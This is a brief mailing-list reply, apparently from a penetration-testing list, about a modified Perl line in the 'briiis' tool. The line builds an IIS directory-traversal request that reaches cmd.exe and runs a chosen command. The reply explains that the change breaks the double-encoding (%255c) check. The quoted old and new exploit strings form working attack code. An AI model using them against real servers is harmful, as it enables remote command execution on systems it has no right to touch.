Re: iXsecurity.tool.briiis.3.02

[Sigtrap <sigtrap () mail bip net>]

Nicolas Gregoire writes:
> Here are the modifications I did to your toy :
> OLD LINE :
> $explstr="/..$opt_F..$opt_F..$opt_F..$opt_F..${opt_F}winnt/system32/cmd.exe?/c+$opt_c"
> if ($opt_c);
> NEW LINE :
> $explstr="/..$opt_F..$opt_F..$opt_F..$opt_F..$opt_F..$opt_F..$opt_F..$opt_F../winnt/system32/cmd.exe?/c+$opt_c"
> if ($opt_c);

Have Nicolas tested his change before mailing pen-test?
If you change Ian Vitek's briiis with the NEW LINE, the double encoding vulnerability testing (%255c)
will fail due to the last '../'.

Briiis is not a toy, it is a weapon. Use it to defend yourself, not attacking. ;-)
//Sigtrap